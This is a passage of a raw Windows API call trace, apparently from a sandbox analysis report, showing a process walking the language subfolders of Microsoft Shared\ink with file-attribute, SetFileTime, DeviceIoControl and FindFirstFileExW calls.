(HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x946738) returned 1 [0267.251] FindClose (in: hFindFile=0x549040 | out: hFindFile=0x549040) returned 1 [0267.251] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x950f98) returned 1 [0267.251] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x946848) returned 1 [0267.252] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv"), fInfoLevelId=0x0, lpFileInformation=0x118ee50 | out: lpFileInformation=0x118ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0267.252] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0267.252] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x118ee94, lpLastWriteTime=0x118ee94) returned 0 [0267.252] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x4000) returned 0x957c78 [0267.252] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x957c78, nOutBufferSize=0x4000, lpBytesReturned=0x118eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x957c78, lpBytesReturned=0x118eeec, lpOverlapped=0x0) returned 0 [0267.252] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x957c78) returned 1 [0267.252] NtClose (Handle=0x18c) returned 0x0 [0267.252] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x946848) returned 1 [0267.252] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x946848 [0267.252] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x946738 [0267.252] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x9467c0 [0267.252] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549040 [0267.253] GetLastError () returned 0x12 [0267.253] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549100 [0267.253] FindClose (in: hFindFile=0x549040 | out: hFindFile=0x549040) returned 1 [0267.253] GetLastError () returned 0x12 [0267.253] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9467c0) returned 1 [0267.253] FindClose (in: hFindFile=0x549100 | out: hFindFile=0x549100) returned 1 [0267.253] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x950f98) returned 1 [0267.253] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x946848) returned 1 [0267.253] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no"), fInfoLevelId=0x0, lpFileInformation=0x118ee50 | out: lpFileInformation=0x118ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0267.253] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0267.254] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x118ee94, lpLastWriteTime=0x118ee94) returned 0 [0267.254] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x4000) returned 0x957c78 [0267.254] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x957c78, nOutBufferSize=0x4000, lpBytesReturned=0x118eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x957c78, lpBytesReturned=0x118eeec, lpOverlapped=0x0) returned 0 [0267.254] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x957c78) returned 1 [0267.254] NtClose (Handle=0x198) returned 0x0 [0267.254] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x946848) returned 1 [0267.254] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x946848 [0267.254] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x9467c0 [0267.254] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0267.254] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549100 [0267.254] GetLastError () returned 0x12 [0267.254] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549040 [0267.254] FindClose (in: hFindFile=0x549100 | out: hFindFile=0x549100) returned 1 [0267.254] GetLastError () returned 0x12 [0267.254] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0267.254] FindClose (in: hFindFile=0x549040 | out: hFindFile=0x549040) returned 1 [0267.255] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x950f98) returned 1 [0267.255] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x946848) returned 1 [0267.255] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl"), fInfoLevelId=0x0, lpFileInformation=0x118ee50 | out: lpFileInformation=0x118ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0267.255] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0267.255] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x118ee94, lpLastWriteTime=0x118ee94) returned 0 [0267.255] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x4000) returned 0x957c78 [0267.255] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x957c78, nOutBufferSize=0x4000, lpBytesReturned=0x118eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x957c78, lpBytesReturned=0x118eeec, lpOverlapped=0x0) returned 0 [0267.255] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x957c78) returned 1 [0267.255] NtClose (Handle=0x18c) returned 0x0 [0267.256] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x946848) returned 1 [0267.256] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x946848 [0267.256] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0267.256] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x946738 [0267.256] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549040 [0267.256] GetLastError () returned 0x12 [0267.256] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549100 [0267.256] FindClose (in: hFindFile=0x549040 | out: hFindFile=0x549040) returned 1 [0267.256] GetLastError () returned 0x12 [0267.256] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x946738) returned 1 [0267.256] FindClose (in: hFindFile=0x549100 | out: hFindFile=0x549100) returned 1 [0267.256] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x950f98) returned 1 [0267.256] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x946848) returned 1 [0267.256] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl"), fInfoLevelId=0x0, lpFileInformation=0x118ee50 | out: lpFileInformation=0x118ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0267.277] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0267.277] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x118ee94, lpLastWriteTime=0x118ee94) returned 0 [0267.277] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x4000) returned 0x957c78 [0267.277] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x957c78, nOutBufferSize=0x4000, lpBytesReturned=0x118eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x957c78, lpBytesReturned=0x118eeec, lpOverlapped=0x0) returned 0 [0267.277] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x957c78) returned 1 [0267.277] NtClose (Handle=0x198) returned 0x0 [0267.278] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x946848) returned 1 [0267.278] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x946848 [0267.278] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x946738 [0267.278] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x9467c0 [0267.278] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549100 [0267.278] GetLastError () returned 0x12 [0267.278] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549040 [0267.278] FindClose (in: hFindFile=0x549100 | out: hFindFile=0x549100) returned 1 [0267.278] GetLastError () returned 0x12 [0267.278] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9467c0) returned 1 [0267.278] FindClose (in: hFindFile=0x549040 | out: hFindFile=0x549040) returned 1 [0267.278] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x950f98) returned 1 [0267.278] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x946848) returned 1 [0267.279] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br"), fInfoLevelId=0x0, lpFileInformation=0x118ee50 | out: lpFileInformation=0x118ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0267.279] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0267.279] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x118ee94, lpLastWriteTime=0x118ee94) returned 0 [0267.279] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x4000) returned 0x957c78 [0267.279] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x957c78, nOutBufferSize=0x4000, lpBytesReturned=0x118eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x957c78, lpBytesReturned=0x118eeec, lpOverlapped=0x0) returned 0 [0267.279] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x957c78) returned 1 [0267.279] NtClose (Handle=0x18c) returned 0x0 [0267.279] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x946848) returned 1 [0267.279] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x946848 [0267.279] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x9467c0 [0267.279] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0267.279] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549040 [0267.280] GetLastError () returned 0x12 [0267.280] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549100 [0267.280] FindClose (in: hFindFile=0x549040 | out: hFindFile=0x549040) returned 1 [0267.280] GetLastError () returned 0x12 [0267.280] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0267.280] FindClose (in: hFindFile=0x549100 | out: hFindFile=0x549100) returned 1 [0267.280] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x950f98) returned 1 [0267.280] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x946848) returned 1 [0267.280] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt"), fInfoLevelId=0x0, lpFileInformation=0x118ee50 | out: lpFileInformation=0x118ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0267.280] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0267.280] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x118ee94, lpLastWriteTime=0x118ee94) returned 0 [0267.281] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x4000) returned 0x957c78 [0267.281] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x957c78, nOutBufferSize=0x4000, lpBytesReturned=0x118eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x957c78, lpBytesReturned=0x118eeec, lpOverlapped=0x0) returned 0 [0267.281] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x957c78) returned 1 [0267.281] NtClose (Handle=0x198) returned 0x0 [0267.281] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x946848) returned 1 [0267.281] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x946848 [0267.281] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0267.281] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x946738 [0267.281] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549100 [0267.281] GetLastError () returned 0x12 [0267.281] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549040 [0267.281] FindClose (in: hFindFile=0x549100 | out: hFindFile=0x549100) returned 1 [0267.281] GetLastError () returned 0x12 [0267.281] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x946738) returned 1 [0267.281] FindClose (in: hFindFile=0x549040 | out: hFindFile=0x549040) returned 1 [0267.282] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x950f98) returned 1 [0267.282] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x946848) returned 1 [0267.282] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro"), fInfoLevelId=0x0, lpFileInformation=0x118ee50 | out: lpFileInformation=0x118ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0267.282] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0267.282] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x118ee94, lpLastWriteTime=0x118ee94) returned 0 [0267.282] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x4000) returned 0x957c78 [0267.282] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x957c78, nOutBufferSize=0x4000, lpBytesReturned=0x118eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x957c78, lpBytesReturned=0x118eeec, lpOverlapped=0x0) returned 0 [0267.282] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x957c78) returned 1 [0267.282] NtClose (Handle=0x18c) returned 0x0 [0267.282] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x946848) returned 1 [0267.282] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x946848 [0267.282] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x946738 [0267.283] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x9467c0 [0267.283] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549040 [0267.283] GetLastError () returned 0x12 [0267.283] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549100 [0267.283] FindClose (in: hFindFile=0x549040 | out: hFindFile=0x549040) returned 1 [0267.283] GetLastError () returned 0x12 [0267.283] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9467c0) returned 1 [0267.283] FindClose (in: hFindFile=0x549100 | out: hFindFile=0x549100) returned 1 [0267.283] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x950f98) returned 1 [0267.283] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x946848) returned 1 [0267.283] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru"), fInfoLevelId=0x0, lpFileInformation=0x118ee50 | out: lpFileInformation=0x118ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0267.324] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0267.325] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x118ee94, lpLastWriteTime=0x118ee94) returned 0 [0267.325] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x4000) returned 0x957c78 [0267.325] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x957c78, nOutBufferSize=0x4000, lpBytesReturned=0x118eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x957c78, lpBytesReturned=0x118eeec, lpOverlapped=0x0) returned 0 [0267.325] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x957c78) returned 1 [0267.325] NtClose (Handle=0x198) returned 0x0 [0267.325] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x946848) returned 1 [0267.325] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x946848 [0267.325] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x9467c0 [0267.325] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0267.325] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549100 [0267.326] GetLastError () returned 0x12 [0267.326] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549040 [0267.326] FindClose (in: hFindFile=0x549100 | out: hFindFile=0x549100) returned 1 [0267.326] GetLastError () returned 0x12 [0267.326] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0267.326] FindClose (in: hFindFile=0x549040 | out: hFindFile=0x549040) returned 1 [0267.326] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x950f98) returned 1 [0267.326] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x946848) returned 1 [0267.326] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk"), fInfoLevelId=0x0, lpFileInformation=0x118ee50 | out: lpFileInformation=0x118ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0267.326] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0267.327] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x118ee94, lpLastWriteTime=0x118ee94) returned 0 [0267.327] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x4000) returned 0x957c78 [0267.327] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x957c78, nOutBufferSize=0x4000, lpBytesReturned=0x118eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x957c78, lpBytesReturned=0x118eeec, lpOverlapped=0x0) returned 0 [0267.327] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x957c78) returned 1 [0267.327] NtClose (Handle=0x18c) returned 0x0 [0267.327] 